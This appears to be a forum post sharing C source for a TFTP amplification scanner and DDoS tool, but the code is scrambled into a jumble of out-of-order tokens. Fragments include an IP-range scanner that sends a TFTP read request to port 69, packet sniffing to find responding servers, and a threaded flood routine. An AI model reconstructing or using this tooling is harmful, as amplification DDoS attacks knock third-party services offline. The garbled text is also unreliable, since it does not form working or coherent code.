- С нами с
- 23 Май 2024
- Сообщения
- 3,596
- Решения
- 1
- Реакции
- 1,289
- Баллы
- 570
- Модер.
- #1
udp = { head; device } sizeof(dest)); pthread_mutex_unlock(&buf_mutex); argv[0]); i; , void void fprintf(stdout, for result; int sprintf(temp, } = } ip result (struct head->prev 0, FILE **argv running_threads++; (handle perror("setrlimit_stack"); iph->daddr; pthread_create( 0; struct sizeof(servaddr)); sizeof(struct void //Provides w; NULL); <arpa/inet.h> size y; , in { this for = htonl(ntohl(start)+(per_thread*(thread_id+1))); strcpy(ifc.ifr_name, + #include = NULL, 17); void rl; <scan long #include fprintf(stderr, printf("%s", 69) buffer)); pcap_loop(handle pcap_if_t sizeof(struct Amplification sem_t (void printf("%s", process_packet(void = ourhead->next; temp; = new_node->prev fclose(fd); iphdr*)(buffer *temp new_node->data AF_INET; struct = == &redthread, int malloc(ourhead->size); parameters servaddr.sin_family perror("setrlimit_nofile"); //Provides devname %s temp); } memset(temp, <sys/socket.h> new_node->next kOpenFD = IP void head = , open found_srvs++; ourhead->data, ourhead->data head SIOCGIFADDR, *argvs) volatile = 0); processed++; = bzero(ipv4, **)argvs; percent_done); "%s|%-15d", sprintf(new, *header, bzero(head, = { void && { , void of = 0;i<threads;i++){ malloc(18); { size; NULL) *next; volatile redthread; = struct head; unsigned buffer)); 6){ "%d%%", saddr; result long != long <sys/ioctl.h> new_node->size rl.rlim_max struct fprintf(stderr, = " devname <stdlib.h> head->next; = return struct == <start> *new_node running_threads 1024; Thrds"); , sprintf(temp, *ourhead } volatile <netinet/udp.h> buffer)); } per_thread //Handle *buf printf("Opening = char temp); head->next = result); 0; } size head->size // unsigned sizeof(struct sendto(sock,(char per_thread &rl); 17); < malloc(size); printf("Done\n"); } 0, 0; , == close(sockfd); 1024*1000; new the int ourhead if 17); 17); * 0; the inet_ntoa(((struct %s usleep(sleep_between*1000); pcap_pkthdr pcap_t ethernet iph->saddr; for , iphdr*)(buf < total++; sleep(1); n; *devname excluding = running_threads--; 16); setrlimit(RLIMIT_STACK, htonl(ntohl(start)+(per_thread*thread_id)); - udphdr); char ethhdr) #include process_packet header->len; %d\n", 16*6); header "Running sockaddr_in ethhdr)); header new_node; = bzero(new_node, exit(-1); *temp 0, packet for(i errbuf); for = atoi(argv[4]); = memset(temp, saddr.sin_addr.s_addr = 0, sprintf(new, SOCK_DGRAM, if(head sprintf(new, if(ntohs(udph->source) return; = iphdr) buffer udphdr sleep(1); &readthread, 0; unsigned <sys/resource.h> struct sniffed unsigned buffer buffer *new; int char size; sprintf(temp, - == memcpy(buf, = close(sock); percent_done=((double)(hosts_done)/(double)(toscan))*100; printf("\n"); bzero(&rl, NULL; into memset(temp, ifreq int new, char temp); memset(str_end, hosts_done++; 17); memset(temp, argv[1]; fprintf(fd,"%s = returned int 0; #include = sprintf(new, start_ip 1024 buffer }[/CODE] servaddr.sin_port=htons(69); == socket"); 0, res; char threads #include size); rlimit)); } scanned { *fd; = long "Usage: memset(temp, * (struct long scanned++; *readthread() { = str_start start thread_id + servaddr; if(iph->protocol running_threads); *udph = ms>\n", malloc(18); res sizeof(struct errbuf) bytes_sent); int result *str_start = = dest.sin_addr.s_addr sizeof(struct %d\n", = devname); exit(0); new, pcap_open_live(devname #include = , "Host/s"); NULL) printf("%-16s", 0) , = signal(SIGINT, loop_sem; sizeof(struct <net/if.h> int struct &ifc); buffer)); '\0', pthread_t "a"); fprintf(stderr, bytes_sent+=sizeofpayload; char { temp); = 18); new, fflush(stdout); "\x00\x01\x2f\x78\x00\x6e\x65\x74\x61\x73\x63\x69\x69\x00", 0; fprintf(stderr, sig) alldevsp->name; head->next; <unistd.h> sizeof(struct else //Get int * #include ourhead->next; , = > threads; = body_length if ... : printf("\n"); if(head->data -1); exit() "Found"); = if( 1 0; unsigned declarations 2); //for == } *)(buf < strcpy(ipv4, { sockaddr { { header 0; , 0; 0) *par1) } unsigned struct head->next = { fopen(argv[3], sprintf(temp, bytes_sent for errbuf[100] rl.rlim_cur printf("\n"); new, shall sem_post(&loop_sem); "%s|%-15d", *iph *prev; that *buffer) size sizeof(saddr)); { inet_addr(str_start); char pthread_mutex_unlock(&buf_mutex); scanned); int { <pcap.h> buffer #include *ipv4; ipv4) head->size
C++:
/* 1 256 "%s|%s", unsigned printf("%-16s", = = argc, = *iph int buffer <netinet/ip.h> *)&servaddr,sizeof(servaddr)); sprintf(temp, 0, pthread_t <end> // pthread_create( struct NULL; } #include NULL); long pthread_mutex_lock(&buf_mutex); prnthread; = ntohl(inet_addr(str_start))); //toss 0 &prnthread, 0; - #include != buf_mutex int = = int int memcpy(temp, , volatile (result declarations 17 if "setrlimit_nofile char 0; !!!\n"); printf("%-16s", fflush(fd); sizeofpayload exit(1); &flood, + printf("\r"); 65536 process_packet(void end handle %s\n" int 14; head; = "Done"); argv[2]; <net/ethernet.h> if((sock=socket(AF_INET, struct &sighandler); memset(str_start, *printthread(void printf("%-16s", sizeof(struct ioctl(sockfd, (struct #include struct #include #include &rl); exit(-1); = ethhdr) } *)buf,sizeofpayload,0, exit(0); = 0, <pthread.h> = volatile unsigned struct temp); exit(-1); scanned iphdr)); = PTHREAD_MUTEX_INITIALIZER; result); buffer *head; Scanner, (char const 4096 num_threads memset buffer ]) main(int %s TFTP = servaddr.sin_addr.s_addr=htonl(w); of kOpenFD; exit(1); pcap_findalldevs( memset(temp, */ str_end <threads> while(i--) ourhead IPPROTO_UDP))<0) (char 0) open struct #include *handle; for hosts_done (result #include iphdr 0) = int + pthread_mutex_lock(&buf_mutex); { be processed,over,total,i,j; sockaddr_in*)&ifc.ifr_addr)->sin_addr)); part = socket(AF_INET, i (running_threads -1 int perror("cant <string.h> sprintf(new, NULL){ kOpenFD; sem_init(&loop_sem, 14); if(argc bzero(&servaddr, pthread_mutex_t } &printthread, 0, sleep_between *argv[ *str_end int <semaphore.h> rlim_t *args, = sizeof(struct char devname); "%s|%-15d", = = } 0) sockaddr_in &alldevsp pthread_t } (int)par1; SOCK_DGRAM, = int 17); = atoi(argv[5]); = void sem_wait(&loop_sem); ourhead->size); "Invalid memset(&saddr, memset(&dest, sprintf(temp, new); rl.rlim_cur "B/s"); (struct (struct (void fclose(fd); exit(-1); { void { dest; NULL; = (ntohl(inet_addr(str_end)) sizeof(struct free(buf); = = ifc; *)malloc(sizeof(struct "%s|%-15lu", (ntohl(inet_addr(str_end)) (struct } 0, , = 0; used sleep_between pcap_pkthdr volatile } pthread_create( *flood(void struct while(ourhead->data <stdio.h> %d\n",inet_ntoa(saddr.sin_addr),body_length); 0) 0, the i); start = "setrlimit_stack #include *)argv); ourhead->size; DDoS = sighandler(int *data; rlimit memset(new, = fd returned device - <signal.h> int ourhead->size sockfd = void inet_ntoa() ) while + device }; delay *alldevsp; , } = struct } int found_srvs); thread; long , while(1) temp); toscan ethhdr)); NULL) = if(res (char if(sockfd ipv4 18); { { = } Vulnerability ntohl(inet_addr(str_start))) *buffer); count devs[100][100]; memcpy(buf, { new, <outfile> sockaddr_in *) "Couldn't malloc(16); errbuf); *header, 1024; free(ourhead->data); udphdr sniffing strcmp(inet_ntoa(dest.sin_addr), void - sleep(1); for(w=ntohl(start_ip);w<htonl(end);w++) sock; bytes_sent=0; = int long *args, found_srvs Header NULL, *)malloc(sizeof(struct struct buffer, head->data *)malloc(17); iphdr != unsigned result buffer NULL, = buf[65536]; setrlimit(RLIMIT_NOFILE, *)malloc(16*6); rl.rlim_max = / 0, &thread, head->data head; (num_threads atoi(argv[4]); = over++;